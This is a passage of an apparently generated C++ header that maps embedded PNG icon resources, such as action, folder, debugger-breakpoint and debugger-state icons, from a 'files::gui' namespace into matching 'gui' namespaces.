static const size_t _COMPACTSTATUSBAR_PNG_SIZE = files::gui::actions::_COMPACTSTATUSBAR_PNG_SIZE;
static const unsigned char * _MOVETOANOTHERCHANGELIST_PNG = files::gui::actions::_MOVETOANOTHERCHANGELIST_PNG;
static const size_t _MOVETOANOTHERCHANGELIST_PNG_SIZE = files::gui::actions::_MOVETOANOTHERCHANGELIST_PNG_SIZE;
static const unsigned char * _CROSS_PNG = files::gui::actions::_CROSS_PNG;
static const size_t _CROSS_PNG_SIZE = files::gui::actions::_CROSS_PNG_SIZE;
static const unsigned char * _COMPACTSIDEBAR_PNG = files::gui::actions::_COMPACTSIDEBAR_PNG;
static const size_t _COMPACTSIDEBAR_PNG_SIZE = files::gui::actions::_COMPACTSIDEBAR_PNG_SIZE;
static const unsigned char * _COMMIT_PNG = files::gui::actions::_COMMIT_PNG;
static const size_t _COMMIT_PNG_SIZE = files::gui::actions::_COMMIT_PNG_SIZE;
static const unsigned char * _COMPILE_PNG = files::gui::actions::_COMPILE_PNG;
static const size_t _COMPILE_PNG_SIZE = files::gui::actions::_COMPILE_PNG_SIZE;
static const unsigned char * _MODULE_PNG = files::gui::actions::_MODULE_PNG;
static const size_t _MODULE_PNG_SIZE = files::gui::actions::_MODULE_PNG_SIZE;
static const unsigned char * _MENU_PASTE_PNG = files::gui::actions::_MENU_PASTE_PNG;
static const size_t _MENU_PASTE_PNG_SIZE = files::gui::actions::_MENU_PASTE_PNG_SIZE;
static const unsigned char * _RESET_TO_EMPTY_PNG = files::gui::actions::_RESET_TO_EMPTY_PNG;
static const size_t _RESET_TO_EMPTY_PNG_SIZE = files::gui::actions::_RESET_TO_EMPTY_PNG_SIZE;
static const unsigned char * _CANCEL_PNG = files::gui::actions::_CANCEL_PNG;
static const size_t _CANCEL_PNG_SIZE = files::gui::actions::_CANCEL_PNG_SIZE;
static const unsigned char * _CHECKEDBLACK_PNG = files::gui::actions::_CHECKEDBLACK_PNG;
static const size_t _CHECKEDBLACK_PNG_SIZE = files::gui::actions::_CHECKEDBLACK_PNG_SIZE;
static const unsigned char * _SHOWREADACCESS_PNG = files::gui::actions::_SHOWREADACCESS_PNG;
static const size_t _SHOWREADACCESS_PNG_SIZE = files::gui::actions::_SHOWREADACCESS_PNG_SIZE;
static const unsigned char * _SCRATCH_PNG = files::gui::actions::_SCRATCH_PNG;
static const size_t _SCRATCH_PNG_SIZE = files::gui::actions::_SCRATCH_PNG_SIZE;
static const unsigned char * _SUSPEND_PNG = files::gui::actions::_SUSPEND_PNG;
static const size_t _SUSPEND_PNG_SIZE = files::gui::actions::_SUSPEND_PNG_SIZE;
static const unsigned char * _LIGHTNING_PNG = files::gui::actions::_LIGHTNING_PNG;
static const size_t _LIGHTNING_PNG_SIZE = files::gui::actions::_LIGHTNING_PNG_SIZE;
static const unsigned char * _CHECKOUT_PNG = files::gui::actions::_CHECKOUT_PNG;
static const size_t _CHECKOUT_PNG_SIZE = files::gui::actions::_CHECKOUT_PNG_SIZE;
static const unsigned char * _SHARE_PNG = files::gui::actions::_SHARE_PNG;
static const size_t _SHARE_PNG_SIZE = files::gui::actions::_SHARE_PNG_SIZE;
static const unsigned char * _SORTASC_PNG = files::gui::actions::_SORTASC_PNG;
static const size_t _SORTASC_PNG_SIZE = files::gui::actions::_SORTASC_PNG_SIZE;
static const unsigned char * _UNDO_PNG = files::gui::actions::_UNDO_PNG;
static const size_t _UNDO_PNG_SIZE = files::gui::actions::_UNDO_PNG_SIZE;
static const unsigned char * _MTCOMPONENTS_PNG = files::gui::actions::_MTCOMPONENTS_PNG;
static const size_t _MTCOMPONENTS_PNG_SIZE = files::gui::actions::_MTCOMPONENTS_PNG_SIZE;
static const unsigned char * _RESUME_PNG = files::gui::actions::_RESUME_PNG;
static const size_t _RESUME_PNG_SIZE = files::gui::actions::_RESUME_PNG_SIZE;
static const unsigned char * _PREVIEW_PNG = files::gui::actions::_PREVIEW_PNG;
static const size_t _PREVIEW_PNG_SIZE = files::gui::actions::_PREVIEW_PNG_SIZE;
static const unsigned char * _PROPERTIES_PNG = files::gui::actions::_PROPERTIES_PNG;
static const size_t _PROPERTIES_PNG_SIZE = files::gui::actions::_PROPERTIES_PNG_SIZE;
static const unsigned char * _PROFILEMEMORY_PNG = files::gui::actions::_PROFILEMEMORY_PNG;
static const size_t _PROFILEMEMORY_PNG_SIZE = files::gui::actions::_PROFILEMEMORY_PNG_SIZE;
static const unsigned char * _COMPONENTS_PNG = files::gui::actions::_COMPONENTS_PNG;
static const size_t _COMPONENTS_PNG_SIZE = files::gui::actions::_COMPONENTS_PNG_SIZE;
static const unsigned char * _MENU_FIND_PNG = files::gui::actions::_MENU_FIND_PNG;
static const size_t _MENU_FIND_PNG_SIZE = files::gui::actions::_MENU_FIND_PNG_SIZE;
static const unsigned char * _MATERIALFONTS_PNG = files::gui::actions::_MATERIALFONTS_PNG;
static const size_t _MATERIALFONTS_PNG_SIZE = files::gui::actions::_MATERIALFONTS_PNG_SIZE;
}
namespace gui::folders
{
}
namespace gui::folders::green
{
static const unsigned char * _FOLDER_CLOSED_PNG = files::gui::folders::green::_FOLDER_CLOSED_PNG;
static const size_t _FOLDER_CLOSED_PNG_SIZE = files::gui::folders::green::_FOLDER_CLOSED_PNG_SIZE;
static const unsigned char * _FOLDER_OPENED_PNG = files::gui::folders::green::_FOLDER_OPENED_PNG;
static const size_t _FOLDER_OPENED_PNG_SIZE = files::gui::folders::green::_FOLDER_OPENED_PNG_SIZE;
static const unsigned char * _USE_BUFFER_PNG = files::gui::folders::green::_USE_BUFFER_PNG;
static const size_t _USE_BUFFER_PNG_SIZE = files::gui::folders::green::_USE_BUFFER_PNG_SIZE;
}
namespace gui::folders::blue
{
static const unsigned char * _FOLDER_CLOSED_PNG = files::gui::folders::blue::_FOLDER_CLOSED_PNG;
static const size_t _FOLDER_CLOSED_PNG_SIZE = files::gui::folders::blue::_FOLDER_CLOSED_PNG_SIZE;
static const unsigned char * _FOLDER_OPENED_PNG = files::gui::folders::blue::_FOLDER_OPENED_PNG;
static const size_t _FOLDER_OPENED_PNG_SIZE = files::gui::folders::blue::_FOLDER_OPENED_PNG_SIZE;
static const unsigned char * _USE_BUFFER_PNG = files::gui::folders::blue::_USE_BUFFER_PNG;
static const size_t _USE_BUFFER_PNG_SIZE = files::gui::folders::blue::_USE_BUFFER_PNG_SIZE;
}
namespace gui::folders::red
{
static const unsigned char * _FOLDER_OPENED_PNG = files::gui::folders::red::_FOLDER_OPENED_PNG;
static const size_t _FOLDER_OPENED_PNG_SIZE = files::gui::folders::red::_FOLDER_OPENED_PNG_SIZE;
static const unsigned char * _USE_BUFFER_PNG = files::gui::folders::red::_USE_BUFFER_PNG;
static const size_t _USE_BUFFER_PNG_SIZE = files::gui::folders::red::_USE_BUFFER_PNG_SIZE;
static const unsigned char * _FOLDER_CLOSE_PNG = files::gui::folders::red::_FOLDER_CLOSE_PNG;
static const size_t _FOLDER_CLOSE_PNG_SIZE = files::gui::folders::red::_FOLDER_CLOSE_PNG_SIZE;
}
namespace gui::debugger
{
static const unsigned char * _DB_DISABLED_FIELD_BREAKPOINT_PNG = files::gui::debugger::_DB_DISABLED_FIELD_BREAKPOINT_PNG;
static const size_t _DB_DISABLED_FIELD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_DISABLED_FIELD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_VERIFIED_WARNING_BREAKPOINT_PNG = files::gui::debugger::_DB_VERIFIED_WARNING_BREAKPOINT_PNG;
static const size_t _DB_VERIFIED_WARNING_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_VERIFIED_WARNING_BREAKPOINT_PNG_SIZE;
static const unsigned char * _TOOLCONSOLE_PNG = files::gui::debugger::_TOOLCONSOLE_PNG;
static const size_t _TOOLCONSOLE_PNG_SIZE = files::gui::debugger::_TOOLCONSOLE_PNG_SIZE;
static const unsigned char * _DB_MUTED_METHOD_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_METHOD_BREAKPOINT_PNG;
static const size_t _DB_MUTED_METHOD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_METHOD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_INVALID_METHOD_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_INVALID_METHOD_BREAKPOINT_PNG;
static const size_t _DB_MUTED_INVALID_METHOD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_INVALID_METHOD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_DB_OBJECT_PNG = files::gui::debugger::_DB_DB_OBJECT_PNG;
static const size_t _DB_DB_OBJECT_PNG_SIZE = files::gui::debugger::_DB_DB_OBJECT_PNG_SIZE;
static const unsigned char * _DB_MUTED_DISABLED_FIELD_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_DISABLED_FIELD_BREAKPOINT_PNG;
static const size_t _DB_MUTED_DISABLED_FIELD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_DISABLED_FIELD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_TEMPORARY_BREAKPOINT_PNG = files::gui::debugger::_DB_TEMPORARY_BREAKPOINT_PNG;
static const size_t _DB_TEMPORARY_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_TEMPORARY_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_DEP_EXCEPTION_BREAKPOINT_PNG = files::gui::debugger::_DB_DEP_EXCEPTION_BREAKPOINT_PNG;
static const size_t _DB_DEP_EXCEPTION_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_DEP_EXCEPTION_BREAKPOINT_PNG_SIZE;
static const unsigned char * _CONSOLE_LOG_PNG = files::gui::debugger::_CONSOLE_LOG_PNG;
static const size_t _CONSOLE_LOG_PNG_SIZE = files::gui::debugger::_CONSOLE_LOG_PNG_SIZE;
static const unsigned char * _CLASS_FILTER_PNG = files::gui::debugger::_CLASS_FILTER_PNG;
static const size_t _CLASS_FILTER_PNG_SIZE = files::gui::debugger::_CLASS_FILTER_PNG_SIZE;
static const unsigned char * _VIEWBREAKPOINTS_PNG = files::gui::debugger::_VIEWBREAKPOINTS_PNG;
static const size_t _VIEWBREAKPOINTS_PNG_SIZE = files::gui::debugger::_VIEWBREAKPOINTS_PNG_SIZE;
static const unsigned char * _DB_ARRAY_PNG = files::gui::debugger::_DB_ARRAY_PNG;
static const size_t _DB_ARRAY_PNG_SIZE = files::gui::debugger::_DB_ARRAY_PNG_SIZE;
static const unsigned char * _VALUE_PNG = files::gui::debugger::_VALUE_PNG;
static const size_t _VALUE_PNG_SIZE = files::gui::debugger::_VALUE_PNG_SIZE;
static const unsigned char * _DB_MUTED_EXCEPTION_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_EXCEPTION_BREAKPOINT_PNG;
static const size_t _DB_MUTED_EXCEPTION_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_EXCEPTION_BREAKPOINT_PNG_SIZE;
static const unsigned char * _THREADSUSPENDED_PNG = files::gui::debugger::_THREADSUSPENDED_PNG;
static const size_t _THREADSUSPENDED_PNG_SIZE = files::gui::debugger::_THREADSUSPENDED_PNG_SIZE;
static const unsigned char * _DB_FIELD_WARNING_BREAKPOINT_PNG = files::gui::debugger::_DB_FIELD_WARNING_BREAKPOINT_PNG;
static const size_t _DB_FIELD_WARNING_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_FIELD_WARNING_BREAKPOINT_PNG_SIZE;
static const unsigned char * _MULTIPLEBREAKPOINTS_PNG = files::gui::debugger::_MULTIPLEBREAKPOINTS_PNG;
static const size_t _MULTIPLEBREAKPOINTS_PNG_SIZE = files::gui::debugger::_MULTIPLEBREAKPOINTS_PNG_SIZE;
static const unsigned char * _DB_DISABLED_EXCEPTION_BREAKPOINT_PNG = files::gui::debugger::_DB_DISABLED_EXCEPTION_BREAKPOINT_PNG;
static const size_t _DB_DISABLED_EXCEPTION_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_DISABLED_EXCEPTION_BREAKPOINT_PNG_SIZE;
static const unsigned char * _CONSOLE_PNG = files::gui::debugger::_CONSOLE_PNG;
static const size_t _CONSOLE_PNG_SIZE = files::gui::debugger::_CONSOLE_PNG_SIZE;
static const unsigned char * _WATCH_PNG = files::gui::debugger::_WATCH_PNG;
static const size_t _WATCH_PNG_SIZE = files::gui::debugger::_WATCH_PNG_SIZE;
static const unsigned char * _DB_VERIFIED_BREAKPOINT_PNG = files::gui::debugger::_DB_VERIFIED_BREAKPOINT_PNG;
static const size_t _DB_VERIFIED_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_VERIFIED_BREAKPOINT_PNG_SIZE;
static const unsigned char * _SHOWCURRENTFRAME_PNG = files::gui::debugger::_SHOWCURRENTFRAME_PNG;
static const size_t _SHOWCURRENTFRAME_PNG_SIZE = files::gui::debugger::_SHOWCURRENTFRAME_PNG_SIZE;
static const unsigned char * _MUTEBREAKPOINTS_PNG = files::gui::debugger::_MUTEBREAKPOINTS_PNG;
static const size_t _MUTEBREAKPOINTS_PNG_SIZE = files::gui::debugger::_MUTEBREAKPOINTS_PNG_SIZE;
static const unsigned char * _DB_DISABLED_BREAKPOINT_PNG = files::gui::debugger::_DB_DISABLED_BREAKPOINT_PNG;
static const size_t _DB_DISABLED_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_DISABLED_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_DISABLED_BREAKPOINT_PROCESS_PNG = files::gui::debugger::_DB_DISABLED_BREAKPOINT_PROCESS_PNG;
static const size_t _DB_DISABLED_BREAKPOINT_PROCESS_PNG_SIZE = files::gui::debugger::_DB_DISABLED_BREAKPOINT_PROCESS_PNG_SIZE;
static const unsigned char * _DB_MUTED_DEP_FIELD_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_DEP_FIELD_BREAKPOINT_PNG;
static const size_t _DB_MUTED_DEP_FIELD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_DEP_FIELD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _KILLPROCESS_PNG = files::gui::debugger::_KILLPROCESS_PNG;
static const size_t _KILLPROCESS_PNG_SIZE = files::gui::debugger::_KILLPROCESS_PNG_SIZE;
static const unsigned char * _DB_VERIFIED_METHOD_BREAKPOINT_PNG = files::gui::debugger::_DB_VERIFIED_METHOD_BREAKPOINT_PNG;
static const size_t _DB_VERIFIED_METHOD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_VERIFIED_METHOD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _AUTOVARIABLESMODE_PNG = files::gui::debugger::_AUTOVARIABLESMODE_PNG;
static const size_t _AUTOVARIABLESMODE_PNG_SIZE = files::gui::debugger::_AUTOVARIABLESMODE_PNG_SIZE;
static const unsigned char * _SMARTSTEPINTO_PNG = files::gui::debugger::_SMARTSTEPINTO_PNG;
static const size_t _SMARTSTEPINTO_PNG_SIZE = files::gui::debugger::_SMARTSTEPINTO_PNG_SIZE;
static const unsigned char * _THREADRUNNING_PNG = files::gui::debugger::_THREADRUNNING_PNG;
static const size_t _THREADRUNNING_PNG_SIZE = files::gui::debugger::_THREADRUNNING_PNG_SIZE;
static const unsigned char * _DB_VERIFIED_FIELD_BREAKPOINT_PNG = files::gui::debugger::_DB_VERIFIED_FIELD_BREAKPOINT_PNG;
static const size_t _DB_VERIFIED_FIELD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_VERIFIED_FIELD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _FORCE_STEP_OVER_PNG = files::gui::debugger::_FORCE_STEP_OVER_PNG;
static const size_t _FORCE_STEP_OVER_PNG_SIZE = files::gui::debugger::_FORCE_STEP_OVER_PNG_SIZE;
static const unsigned char * _DB_MUTED_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_BREAKPOINT_PNG;
static const size_t _DB_MUTED_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_FIELD_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_FIELD_BREAKPOINT_PNG;
static const size_t _DB_MUTED_FIELD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_FIELD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _THREADATBREAKPOINT_PNG = files::gui::debugger::_THREADATBREAKPOINT_PNG;
static const size_t _THREADATBREAKPOINT_PNG_SIZE = files::gui::debugger::_THREADATBREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_FIELD_BREAKPOINT_PNG = files::gui::debugger::_DB_FIELD_BREAKPOINT_PNG;
static const size_t _DB_FIELD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_FIELD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_DEP_METHOD_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_DEP_METHOD_BREAKPOINT_PNG;
static const size_t _DB_MUTED_DEP_METHOD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_DEP_METHOD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_FIELD_WARNING_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_FIELD_WARNING_BREAKPOINT_PNG;
static const size_t _DB_MUTED_FIELD_WARNING_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_FIELD_WARNING_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_INVALID_BREAKPOINT_PNG = files::gui::debugger::_DB_INVALID_BREAKPOINT_PNG;
static const size_t _DB_INVALID_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_INVALID_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_INVALID_METHOD_BREAKPOINT_PNG = files::gui::debugger::_DB_INVALID_METHOD_BREAKPOINT_PNG;
static const size_t _DB_INVALID_METHOD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_INVALID_METHOD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_DEP_FIELD_BREAKPOINT_PNG = files::gui::debugger::_DB_DEP_FIELD_BREAKPOINT_PNG;
static const size_t _DB_DEP_FIELD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_DEP_FIELD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_EXCEPTION_BREAKPOINT_PNG = files::gui::debugger::_DB_EXCEPTION_BREAKPOINT_PNG;
static const size_t _DB_EXCEPTION_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_EXCEPTION_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_DEP_LINE_BREAKPOINT_PNG = files::gui::debugger::_DB_DEP_LINE_BREAKPOINT_PNG;
static const size_t _DB_DEP_LINE_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_DEP_LINE_BREAKPOINT_PNG_SIZE;
static const unsigned char * _THREADFROZEN_PNG = files::gui::debugger::_THREADFROZEN_PNG;
static const size_t _THREADFROZEN_PNG_SIZE = files::gui::debugger::_THREADFROZEN_PNG_SIZE;
static const unsigned char * _THREADCURRENT_PNG = files::gui::debugger::_THREADCURRENT_PNG;
static const size_t _THREADCURRENT_PNG_SIZE = files::gui::debugger::_THREADCURRENT_PNG_SIZE;
static const unsigned char * _DB_PRIMITIVE_PNG = files::gui::debugger::_DB_PRIMITIVE_PNG;
static const size_t _DB_PRIMITIVE_PNG_SIZE = files::gui::debugger::_DB_PRIMITIVE_PNG_SIZE;
static const unsigned char * _ATTACHTOPROCESS_PNG = files::gui::debugger::_ATTACHTOPROCESS_PNG;
static const size_t _ATTACHTOPROCESS_PNG_SIZE = files::gui::debugger::_ATTACHTOPROCESS_PNG_SIZE;
static const unsigned char * _DB_MUTED_DISABLED_METHOD_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_DISABLED_METHOD_BREAKPOINT_PNG;
static const size_t _DB_MUTED_DISABLED_METHOD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_DISABLED_METHOD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_INVALID_FIELD_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_INVALID_FIELD_BREAKPOINT_PNG;
static const size_t _DB_MUTED_INVALID_FIELD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_INVALID_FIELD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_DISABLED_METHOD_BREAKPOINT_PNG = files::gui::debugger::_DB_DISABLED_METHOD_BREAKPOINT_PNG;
static const size_t _DB_DISABLED_METHOD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_DISABLED_METHOD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_INVALID_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_INVALID_BREAKPOINT_PNG;
static const size_t _DB_MUTED_INVALID_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_INVALID_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_SET_BREAKPOINT_PNG = files::gui::debugger::_DB_SET_BREAKPOINT_PNG;
static const size_t _DB_SET_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_SET_BREAKPOINT_PNG_SIZE;
static const unsigned char * _LAMBDABREAKPOINT_PNG = files::gui::debugger::_LAMBDABREAKPOINT_PNG;
static const size_t _LAMBDABREAKPOINT_PNG_SIZE = files::gui::debugger::_LAMBDABREAKPOINT_PNG_SIZE;
static const unsigned char * _NEWWATCH_PNG = files::gui::debugger::_NEWWATCH_PNG;
static const size_t _NEWWATCH_PNG_SIZE = files::gui::debugger::_NEWWATCH_PNG_SIZE;
static const unsigned char * _DB_MUTED_VERIFIED_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_VERIFIED_BREAKPOINT_PNG;
static const size_t _DB_MUTED_VERIFIED_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_VERIFIED_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_METHOD_WARNING_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_METHOD_WARNING_BREAKPOINT_PNG;
static const size_t _DB_MUTED_METHOD_WARNING_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_METHOD_WARNING_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_VERIFIED_FIELD_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_VERIFIED_FIELD_BREAKPOINT_PNG;
static const size_t _DB_MUTED_VERIFIED_FIELD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_VERIFIED_FIELD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_INVALID_FIELD_BREAKPOINT_PNG = files::gui::debugger::_DB_INVALID_FIELD_BREAKPOINT_PNG;
static const size_t _DB_INVALID_FIELD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_INVALID_FIELD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_DISABLED_BREAKPOINT_PROCESS_PNG = files::gui::debugger::_DB_MUTED_DISABLED_BREAKPOINT_PROCESS_PNG;
static const size_t _DB_MUTED_DISABLED_BREAKPOINT_PROCESS_PNG_SIZE = files::gui::debugger::_DB_MUTED_DISABLED_BREAKPOINT_PROCESS_PNG_SIZE;
static const unsigned char * _STACKFRAME_PNG = files::gui::debugger::_STACKFRAME_PNG;
static const size_t _STACKFRAME_PNG_SIZE = files::gui::debugger::_STACKFRAME_PNG_SIZE;
static const unsigned char * _DB_METHOD_WARNING_BREAKPOINT_PNG = files::gui::debugger::_DB_METHOD_WARNING_BREAKPOINT_PNG;
static const size_t _DB_METHOD_WARNING_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_METHOD_WARNING_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_DEP_METHOD_BREAKPOINT_PNG = files::gui::debugger::_DB_DEP_METHOD_BREAKPOINT_PNG;
static const size_t _DB_DEP_METHOD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_DEP_METHOD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _ADDTOWATCH_PNG = files::gui::debugger::_ADDTOWATCH_PNG;
static const size_t _ADDTOWATCH_PNG_SIZE = files::gui::debugger::_ADDTOWATCH_PNG_SIZE;
static const unsigned char * _WATCHES_PNG = files::gui::debugger::_WATCHES_PNG;
static const size_t _WATCHES_PNG_SIZE = files::gui::debugger::_WATCHES_PNG_SIZE;
static const unsigned char * _DB_MUTED_DEP_LINE_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_DEP_LINE_BREAKPOINT_PNG;
static const size_t _DB_MUTED_DEP_LINE_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_DEP_LINE_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_TEMPORARY_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_TEMPORARY_BREAKPOINT_PNG;
static const size_t _DB_MUTED_TEMPORARY_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_TEMPORARY_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_DISABLED_EXCEPTION_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_DISABLED_EXCEPTION_BREAKPOINT_PNG;
static const size_t _DB_MUTED_DISABLED_EXCEPTION_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_DISABLED_EXCEPTION_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_OBSOLETE_PNG = files::gui::debugger::_DB_OBSOLETE_PNG;
static const size_t _DB_OBSOLETE_PNG_SIZE = files::gui::debugger::_DB_OBSOLETE_PNG_SIZE;
static const unsigned char * _FORCE_RUN_TO_CURSOR_PNG = files::gui::debugger::_FORCE_RUN_TO_CURSOR_PNG;
static const size_t _FORCE_RUN_TO_CURSOR_PNG_SIZE = files::gui::debugger::_FORCE_RUN_TO_CURSOR_PNG_SIZE;
static const unsigned char * _FORCE_STEP_INTO_PNG = files::gui::debugger::_FORCE_STEP_INTO_PNG;
static const size_t _FORCE_STEP_INTO_PNG_SIZE = files::gui::debugger::_FORCE_STEP_INTO_PNG_SIZE;
static const unsigned char * _DB_MUTED_DISABLED_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_DISABLED_BREAKPOINT_PNG;
static const size_t _DB_MUTED_DISABLED_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_DISABLED_BREAKPOINT_PNG_SIZE;
static const unsigned char * _THREADS_PNG = files::gui::debugger::_THREADS_PNG;
static const size_t _THREADS_PNG_SIZE = files::gui::debugger::_THREADS_PNG_SIZE;
static const unsigned char * _DB_METHOD_BREAKPOINT_PNG = files::gui::debugger::_DB_METHOD_BREAKPOINT_PNG;
static const size_t _DB_METHOD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_METHOD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_DEP_EXCEPTION_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_DEP_EXCEPTION_BREAKPOINT_PNG;
static const size_t _DB_MUTED_DEP_EXCEPTION_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_DEP_EXCEPTION_BREAKPOINT_PNG_SIZE;
static const unsigned char * _DB_MUTED_VERIFIED_METHOD_BREAKPOINT_PNG = files::gui::debugger::_DB_MUTED_VERIFIED_METHOD_BREAKPOINT_PNG;
static const size_t _DB_MUTED_VERIFIED_METHOD_BREAKPOINT_PNG_SIZE = files::gui::debugger::_DB_MUTED_VERIFIED_METHOD_BREAKPOINT_PNG_SIZE;
static const unsigned char * _EVALUATEEXPRESSION_PNG = files::gui::debugger::_EVALUATEEXPRESSION_PNG;
static const size_t _EVALUATEEXPRESSION_PNG_SIZE = files::gui::debugger::_EVALUATEEXPRESSION_PNG_SIZE;
static const unsigned char * _RESTORELAYOUT_PNG = files::gui::debugger::_RESTORELAYOUT_PNG;
static const size_t _RESTORELAYOUT_PNG_SIZE = files::gui::debugger::_RESTORELAYOUT_PNG_SIZE;
static const unsigned char * _FRAME_PNG = files::gui::debugger::_FRAME_PNG;
static const size_t _FRAME_PNG_SIZE = files::gui::debugger::_FRAME_PNG_SIZE;
static const unsigned char * _COMMANDLINE_PNG = files::gui::debugger::_COMMANDLINE_PNG;
static const size_t _COMMANDLINE_PNG_SIZE = files::gui::debugger::_COMMANDLINE_PNG_SIZE;
}
namespace gui::debugger::states
{
static const unsigned char * _LOCKED_PNG = files::gui::debugger::states::_LOCKED_PNG;
static const size_t _LOCKED_PNG_SIZE = files::gui::debugger::states::_LOCKED_PNG_SIZE;
static const unsigned char * _PAUSED_PNG = files::gui::debugger::states::_PAUSED_PNG;
static const size_t _PAUSED_PNG_SIZE = files::gui::debugger::states::_PAUSED_PNG_SIZE;
static const unsigned char * _IO_PNG = files::gui::debugger::states::_IO_PNG;
static const size_t _IO_PNG_SIZE = files::gui::debugger::states::_IO_PNG_SIZE;
static const unsigned char * _EDTBUSY_PNG = files::gui::debugger::states::_EDTBUSY_PNG;
static const size_t _EDTBUSY_PNG_SIZE = files::gui::debugger::states::_EDTBUSY_PNG_SIZE;
static const unsigned char * _IDLE_PNG = files::gui::debugger::states::_IDLE_PNG;
static const size_t _IDLE_PNG_SIZE = files::gui::debugger::states::_IDLE_PNG_SIZE;
static const unsigned char * _EXCEPTION_PNG = files::gui::debugger::states::_EXCEPTION_PNG;
static const size_t _EXCEPTION_PNG_SIZE = files::gui::debugger::states::_EXCEPTION_PNG_SIZE;
